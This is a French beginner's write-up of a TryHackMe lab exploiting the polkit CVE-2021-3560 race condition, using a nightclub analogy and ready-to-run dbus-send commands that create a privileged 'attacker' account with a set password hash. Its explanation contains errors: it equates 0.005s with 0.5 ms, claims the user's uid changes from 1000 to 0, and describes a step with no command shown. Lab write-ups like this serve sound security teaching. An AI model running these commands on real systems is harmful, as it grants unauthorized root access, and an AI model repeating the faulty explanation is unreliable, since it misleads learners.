realatharva15/polkit-cve-2021-3560_writeupGuide adapté aux débutants pour le module de niveau facile de TryHackMe - polkit:CVE-2021-3560
nous allons d'abord vérifier la version de polkit pour obtenir de meilleures informations.
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
j'ai utilisé deepseek pour créer une analogie simple afin que vous compreniez encore mieux le concept d'un policy kit.
Boîte de nuit: Système Polkit
Boîte de nuit (zone VIP): Les services/actions système privilégiés (montage de lecteurs, installation de logiciels, gestion du réseau)
Videur à la porte: Polkit lui-même, interceptant toutes les tentatives d'entrée
Liste des invités / Code vestimentaire: Règles de politique Polkit (stockées dans /usr/share/polkit-1/actions/ et /etc/polkit-1/rules.d/)
Pass VIP / Adhésion au club: Faire partie de groupes Linux spécifiques (comme wheel, sudo, storage, network)
Contrôle d'identité: Polkit vérifie l'identité de l'utilisateur et son appartenance à des groupes
Propriétaire / Gérant root: utilisateur (a un accès illimité à tout)
Clients habituels essayant d'entrer dans la zone VIP: Utilisateurs/programmes normaux tentant d'exécuter des commandes privilégiées
Videur consultant le règlement: Polkit vérifie les politiques configurées pour cette action spécifique
Videur demandant un bracelet spécial/mot de passe: Invite d'authentification (demande de mot de passe)
Videur laissant passer quelqu'un sans vérification: Action autorisée sans authentification (pour les utilisateurs/groupes de confiance)
polkit est le sudo de systemd
nous pouvons maintenant exploiter ce videur de boîte de nuit avec des demandes sournoises afin de contourner la vérification des informations d'identification pour les demandes dbus.
comprenons cela en utilisant la même analogie du videur de boîte de nuit précédente.
Disons que le processus normal se déroule ainsi : le videur vérifie les identités, si la personne est assez privilégiée pour cette tâche particulière, elle est autorisée par le videur. Mais pour l'exploiter, l'attaquant enverra une demande factice disant " faites de moi un gérant de club avec tous les accès" au secrétaire du club. Nous avons 11 millisecondes avant que le message n'atteigne le secrétaire du club, et évidemment il n'acceptera pas cette demande. Nous devrons donc annuler la demande dans la moitié du temps qu'il faut pour atteindre le secrétaire, c'est-à-dire 0,5 milliseconde. Maintenant, nous allons subtiliser la note qui contenait la demande d'augmentation de nos privilèges juste avant que le videur ne puisse vérifier qui l'a envoyée. Nous la subtilisons et le videur ne peut pas dire qui l'a fait. La note possède maintenant un numéro unique qui est orphelin. Le numéro unique existe dans le système, mais la note originale a disparu. Le protocole par défaut pour gérer cette situation est que le videur supposera que le message a été envoyé par le propriétaire du club, car le manuel le dit. Cela se passe à peu près ainsi : le videur demande "hé, qui a envoyé ce message #12345 ?" le dbus-daemon consulte ses registres et répond " j'ai le suivi du #12345 dans mon journal mais je ne trouve pas le message réel... ERREUR". Ainsi, au lieu de dire qu'il ne sait pas qui a envoyé ce message, le dbus-daemon renvoie un code d'erreur. Le manuel de formation du videur contient un bug. Le manuel de formation dit que si vous ne savez pas qui a envoyé un message particulier et que vous obtenez une erreur lors de la vérification de l'identifiant, supposez qu'il vient du propriétaire du club (uid 0). Le videur annonce au secrétaire du club que ce message vient du propriétaire du club, bien que ce ne soit qu'un proxy ; le secrétaire approuve cela et le secrétaire du club crée alors un nouveau compte de gérant de club pour l'attaquant. L'attaquant a désormais des privilèges équivalents à ceux de l'utilisateur root.
Maintenant, regardons les commandes qui vont immédiatement nous donner un utilisateur nommé attacker avec le mot de passe Expl01ted. Nous commençons donc par les commandes :
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
Cette commande créera un utilisateur nommé attacker. Nous nous retirons juste après 0,5 milliseconde afin d'empêcher le videur (polkit) de lire le message. L'utilisateur attacker n'a toujours aucun identifiant root.
Afin de donner à l'utilisateur attacker les privilèges root tant attendus, nous utiliserons la commande :
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
nous pouvons maintenant voir que l'uid de l'utilisateur attacker est 1000.
Ici, nous ajoutons l'identifiant de l'utilisateur original attacker qui n'avait aucun privilège. Cela garantira que l'identifiant de l'utilisateur attacker passe de 1000 à 0.
id attacker
nous pouvons maintenant voir que l'uid de l'utilisateur attacker est passé de 1000 à 0, ce qui signifie que nous sommes dans le groupe de l'utilisateur root avec les privilèges les plus élevés.
nous pouvons directement exécuter des commandes en tant que root à partir d'ici, ou nous pouvons simplement passer dans un shell root, selon ce qui vous convient le mieux.
sudo su